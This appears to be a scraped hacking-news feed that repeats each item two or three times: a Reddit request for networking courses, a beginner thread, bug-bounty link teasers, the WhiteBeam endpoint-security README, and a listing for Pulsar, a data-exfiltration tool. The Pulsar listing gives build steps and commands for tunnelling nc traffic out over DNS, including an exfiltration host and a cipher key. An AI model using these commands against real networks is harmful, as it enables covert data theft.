hacking: security in practice
Solid Computer Networking Online Courses
Hi, I'm looking a rigorous, comprehensive course/study material about computer networks.
I have a degree in telecommunications engineering, so I am already very familiar with basic networking concepts from various network courses I studied in Uni. However, there are basic gaps in my knowledge that I would like to fill. So I want a comprehensive course that reviews beginner concepts quickly but is rigorous, fast paced, and tackles advanced concepts.. all in.
Most courses online start so slow, explaining what a LAN is and what routers do.. I don't need that I've already studied the OSI model, various internet protocols and other concepts beyond that.
I know about CISCO courses but someone told me they're not general and very technology-oriented rather than concept-oriented, but IDK. My goal is to learn, NOT to pass any examination.
Does something like this exist, or is that too good to be true. I don't mind courses/books/articles whatever teaches well and is not boring.
submitted by /u/Fedo_19
[link] [comments]
Solid Computer Networking Online Courses
Hi, I'm looking a rigorous, comprehensive course/study material about computer networks.
I have a degree in telecommunications engineering, so I am already very familiar with basic networking concepts from various network courses I studied in Uni. However, there are basic gaps in my knowledge that I would like to fill. So I want a comprehensive course that reviews beginner concepts quickly but is rigorous, fast paced, and tackles advanced concepts.. all in.
Most courses online start so slow, explaining what a LAN is and what routers do.. I don't need that I've already studied the OSI model, various internet protocols and other concepts beyond that.
I know about CISCO courses but someone told me they're not general and very technology-oriented rather than concept-oriented, but IDK. My goal is to learn, NOT to pass any examination.
Does something like this exist, or is that too good to be true. I don't mind courses/books/articles whatever teaches well and is not boring.
submitted by /u/Fedo_19
[link] [comments]
reddit
Solid Computer Networking Online Courses
Hi, I'm looking a rigorous, comprehensive course/study material about computer networks. I have a degree in telecommunications engineering, so I...
hacking: security in practice
Pool on the roof - July 25, 2022
Have a no0b question? New to hacking? Looking for a script? Need help with your github project? Something wrong with your payload? Stuck on a CTF or bug bounty?
This is a weekly recurring post to make friends with other hackers, ask questions, and get any type of help you may need.
Make sure to read our wiki as it's full of resources for you.
Keep all beginner questions in this weekly stickied post.
submitted by /u/AutoModerator
[link] [comments]
Pool on the roof - July 25, 2022
Have a no0b question? New to hacking? Looking for a script? Need help with your github project? Something wrong with your payload? Stuck on a CTF or bug bounty?
This is a weekly recurring post to make friends with other hackers, ask questions, and get any type of help you may need.
Make sure to read our wiki as it's full of resources for you.
Keep all beginner questions in this weekly stickied post.
submitted by /u/AutoModerator
[link] [comments]
reddit
Pool on the roof - July 25, 2022
Have a no0b question? New to hacking? Looking for a script? Need help with your github project? Something wrong with your payload? Stuck on a CTF...
Outdated PHP Version leads to RCE
https://medium.com/@iamdevansharya/outdated-php-version-leads-to-rce-380fb4db32f4?source=rss------bug_bounty-5
https://medium.com/@iamdevansharya/outdated-php-version-leads-to-rce-380fb4db32f4?source=rss------bug_bounty-5
Hi Everyone, back again with my one more Bug Bounty write-up.Continue reading on Medium » (https://medium.com/@iamdevansharya/outdated-php-version-leads-to-rce-380fb4db32f4?source=rss------bug_bounty-5)
Let’s Explore OAuth 2.0 Vulnerability.
https://medium.com/@0xManan/lets-explore-oauth-2-0-vulnerability-8dabed28f7d?source=rss------bug_bounty-5
https://medium.com/@0xManan/lets-explore-oauth-2-0-vulnerability-8dabed28f7d?source=rss------bug_bounty-5
Hello Amazing People,Continue reading on Medium » (https://medium.com/@0xManan/lets-explore-oauth-2-0-vulnerability-8dabed28f7d?source=rss------bug_bounty-5)
Outdated PHP Version leads to RCE
Hi Everyone, back again with my one more Bug Bounty write-up.Continue reading on Medium »
Read more...
Hi Everyone, back again with my one more Bug Bounty write-up.Continue reading on Medium »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
WhiteBeam : Transparent Endpoint Security
WhiteBeam is a Transparent endpoint security
Features
* Block and detect advanced attacks
* Modern audited cryptography: RustCrypto for hashing and encryption
* Highly compatible: Development focused on all platforms (incl. legacy) and architectures
* Source available: Audits welcome
* Reviewed by security researchers with combined 100+ years of experience
Installation
WhiteBeam is currently unavailable for installation due to backwards-incompatible security enhancements for 0.3. Check back soon!
From Packages (Linux)
Distro-specific packages have not been released yet for WhiteBeam, check again soon!
From Releases (Linux)
1. Download the latest release
2. Ensure the release file hash matches the official hashes (How-to)
3. Install:
*
From Source (Linux)
1. Run tests (Optional):
*
2. Compile:
*
3. Install WhiteBeam:
*
Quick start
1. Become root (
2. Set a recovery secret:
How to Detect Attacks with WhiteBeam
Multiple guides are provided depending on your preference. Contact us so we can help you integrate WhiteBeam with your environment.
1. Serverless guide, for passive review
2. osquery Fleet setup guide, for passive review
3. WhiteBeam Server setup guide, for active response
How to Prevent Attacks with WhiteBeam
https://s.w.org/images/core/emoji/14.0.0/72x72/2139.png WhiteBeam is experimental software. Contact us for assistance safely implementing it.
1. Become root (
2. Review the baseline at least 24 hours after installing WhiteBeam:
*
3. Add trusted behavior to the whitelist, following the whitelisting guide
4. Enable WhiteBeam prevention:
*
Download
*
*
WhiteBeam : Transparent Endpoint Security
WhiteBeam is a Transparent endpoint security
Features
* Block and detect advanced attacks
* Modern audited cryptography: RustCrypto for hashing and encryption
* Highly compatible: Development focused on all platforms (incl. legacy) and architectures
* Source available: Audits welcome
* Reviewed by security researchers with combined 100+ years of experience
Installation
WhiteBeam is currently unavailable for installation due to backwards-incompatible security enhancements for 0.3. Check back soon!
From Packages (Linux)
Distro-specific packages have not been released yet for WhiteBeam, check again soon!
From Releases (Linux)
1. Download the latest release
2. Ensure the release file hash matches the official hashes (How-to)
3. Install:
*
./whitebeam-installer installFrom Source (Linux)
1. Run tests (Optional):
*
cargo run test2. Compile:
*
cargo run build3. Install WhiteBeam:
*
cargo run installQuick start
1. Become root (
sudo su/su root)2. Set a recovery secret:
whitebeam --setting RecoverySecret mask. After setting the recovery secret, you can run whitebeam --authto make changes to the system.How to Detect Attacks with WhiteBeam
Multiple guides are provided depending on your preference. Contact us so we can help you integrate WhiteBeam with your environment.
1. Serverless guide, for passive review
2. osquery Fleet setup guide, for passive review
3. WhiteBeam Server setup guide, for active response
How to Prevent Attacks with WhiteBeam
https://s.w.org/images/core/emoji/14.0.0/72x72/2139.png WhiteBeam is experimental software. Contact us for assistance safely implementing it.
1. Become root (
sudo su/su root)2. Review the baseline at least 24 hours after installing WhiteBeam:
*
whitebeam --baseline3. Add trusted behavior to the whitelist, following the whitelisting guide
4. Enable WhiteBeam prevention:
*
whitebeam --setting Prevention trueDownload
*
*
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Pulsar : Data Exfiltration And Covert Communication Tool
Pulsar is a tool for data exfiltration and covert communication that enable you to create a secure data transfer, a bizarre chat or a network tunnel through different protocols, for example you can receive data from tcp connection and resend it to real destination through DNS packets
Setting up Pulsar
First, getting the code from repository and compile it with following command:
$ cd pulsar
$ export GOPATH=$(shell pwd)
$ go get golang.org/x/net/icmp
$ go build -o bin/pulsar src/main.go
or run:
$ make
Connectors
A connector is a simple channel to the external world, with the connector you can read and write data from different sources.
* Console:
* Default in/out connector, read data from stdin and write to stdout
* TCP
* Read and write data through tcp connections
tcp:127.0.0.1:9000
UDP
* Read and write data through udp packet
udp:127.0.0.1:9000
ICMP
* Read and write data through icmp packet
icmp:127.0.0.1 (the connection port is obviously useless)
You can use option –in in order to select input connector and option –out to select output connector:
–in tcp:127.0.0.1:9000
–out dns:fkdns.lol:2.3.4.5:8989
Handlers
A handler allows you to change data in transit, you can combine handlers arbitrarily.
* Stub:
* Default, do nothing, pass through
* Base32
* Base32 encoder/decoder
–handlers base32
You can use the –decode option to use ALL handlers in decoding mode
–handlers base64,base32,base64,cipher:key –decode
Example
In the following example Pulsar will be used to create a secure two-way tunnel on DNS protocol, data will be read from TCP connection (simple nc client) and resend encrypted through the tunnel.
[nc 127.0.0.1 9000] <–tcp–[pulsar] <–dns–[pulsar] <–tcp–[nc -l 127.0.0.1 -p 9900]
$ ./pulsar –in tcp:127.0.0.1:9000 –out dns:test.org@192.168.1.199:8989 –duplex –plain in –handlers ‘cipher:supersekretkey!!’
$ nc 127.0.0.1 9000
Download
Pulsar : Data Exfiltration And Covert Communication Tool
Pulsar is a tool for data exfiltration and covert communication that enable you to create a secure data transfer, a bizarre chat or a network tunnel through different protocols, for example you can receive data from tcp connection and resend it to real destination through DNS packets
Setting up Pulsar
First, getting the code from repository and compile it with following command:
$ cd pulsar
$ export GOPATH=$(shell pwd)
$ go get golang.org/x/net/icmp
$ go build -o bin/pulsar src/main.go
or run:
$ make
Connectors
A connector is a simple channel to the external world, with the connector you can read and write data from different sources.
* Console:
* Default in/out connector, read data from stdin and write to stdout
* TCP
* Read and write data through tcp connections
tcp:127.0.0.1:9000
UDP
* Read and write data through udp packet
udp:127.0.0.1:9000
ICMP
* Read and write data through icmp packet
icmp:127.0.0.1 (the connection port is obviously useless)
You can use option –in in order to select input connector and option –out to select output connector:
–in tcp:127.0.0.1:9000
–out dns:fkdns.lol:2.3.4.5:8989
Handlers
A handler allows you to change data in transit, you can combine handlers arbitrarily.
* Stub:
* Default, do nothing, pass through
* Base32
* Base32 encoder/decoder
–handlers base32
You can use the –decode option to use ALL handlers in decoding mode
–handlers base64,base32,base64,cipher:key –decode
Example
In the following example Pulsar will be used to create a secure two-way tunnel on DNS protocol, data will be read from TCP connection (simple nc client) and resend encrypted through the tunnel.
[nc 127.0.0.1 9000] <–tcp–[pulsar] <–dns–[pulsar] <–tcp–[nc -l 127.0.0.1 -p 9900]
$ ./pulsar –in tcp:127.0.0.1:9000 –out dns:test.org@192.168.1.199:8989 –duplex –plain in –handlers ‘cipher:supersekretkey!!’
$ nc 127.0.0.1 9000
Download
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
What is Hacking | How to become a Hacker |
What is Hacking ?
Continue reading on Medium »
What is Hacking | How to become a Hacker |
What is Hacking ?
Continue reading on Medium »